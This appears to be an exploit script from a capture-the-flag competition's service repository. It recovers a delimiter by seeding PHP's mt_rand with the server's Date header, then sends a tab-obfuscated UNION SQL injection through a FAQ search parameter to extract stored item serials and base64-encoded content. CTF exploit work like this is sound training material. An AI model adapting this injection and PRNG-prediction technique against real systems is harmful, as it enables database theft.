<reponame>ECSC2022/ctf-services<?php

$target = getenv("TARGET") ?: "localhost:8080";
$target = "http://" . $target;

function bail($msg = "") {
    echo $msg, PHP_EOL;
    exit(1);
}

function getServerDate(string $target): \DateTimeInterface
{
    ob_start();
    $resp = `curl -v $target/ 2>&1`;
    ob_clean();
    $lines = explode("\n", $resp);
    $dateLines = array_filter($lines, fn($line) => str_starts_with($line, "< Date: "));
    if ($dateLines === []) {
        bail("No server Date");
    }
    $dateLine = array_values($dateLines)[0];
    $dateStr = substr($dateLine, 8);
    return new DateTime($dateStr);
}

class AlnumGenerator
{
    private const CHARSET = "0123456789abcdefghijklmnopqrstuvwxyz";

    public function generate(): string
    {
        return $this->generateRec("a", (mt_rand() % 20) + 1);
    }

    private function generateRec(string $x, int $level): string
    {
        if ($level === 0) {
            return $x;
        }
        $x .= substr(self::CHARSET, mt_rand() % strlen(self::CHARSET), 1);
        return $this->generateRec($x, $level - 1);
    }
}

function getStringDelimiter(DateTimeInterface $dt) {
    mt_srand($dt->getTimestamp());
    $gen = new AlnumGenerator();
    return $gen->generate();
}

function tryWithDate(string $target, DateTimeInterface $dt) {

    $del = getStringDelimiter($dt);
    $payload = "UNION SELECT 1234,'p',\"serial\" from physical_items";
    $payload .= " UNION SELECT 1234,'d',replace(encode(content, 'base64'), '\\n', '') from digital_items";
    $payload_enc = str_replace(" ", "\t", $payload);
    $query = "\$$del\$)AND(1=0))\t$payload_enc--\tc";

    return tryQuery($target, $query);
}

function tryQuery(string $target, string $query) {
    $uri = escapeshellarg("$target/faq?q=" . urlencode($query));
    ob_start();
    system("curl -f -s $uri", $exitcode);
    $resp = ob_get_clean();
    if ($exitcode !== 0) {
        bail("Exitcode != 0: $resp");
    }
    return $resp;
}

function parseResult(string $mode, string $data): void
{
    if ($mode === "p") {
        # TODO check if it matches flag regex
        echo $data, PHP_EOL;
        return;
    }

    $content = base64_decode($data);
    if ($content === false) {
        return;
    }

    # todo handle digital
}

$dt = getServerDate($target);
echo "Server date: ", $dt->format("Y-m-d H:i:s"), PHP_EOL;

$dt = DateTimeImmutable::createFromInterface($dt);
for ($i=0; $i<=1; $i++) {
    $newDt = $dt->add(new DateInterval("PT{$i}S"));
    $resp = tryWithDate($target, $newDt);
    if (str_contains($resp, "No matching FAQ entries found.")) {
        echo "No result", PHP_EOL;
        continue;
    }
    echo "Got something", PHP_EOL;
    # echo $resp;

    $lines = explode("\n", $resp);
    $mode = null;
    $answer = "";
    foreach($lines as $line) {
        if ($mode !== null) {
            $answer .= $line;
            if (str_contains($line, "</div>")) {
                $answer = substr($answer, strlen('    <div class="faq-answer">'));
                $answer = substr($answer, 0, -6);
                parseResult($mode, $answer);
                $mode = null;
                $answer = "";
            }
        } elseif (str_contains($line, '<div class="faq-question">d</div>')) {
            $mode = "d";
        } elseif (str_contains($line, '<div class="faq-question">p</div>')) {
            $mode = "p";
        }
    }

    exit;
}
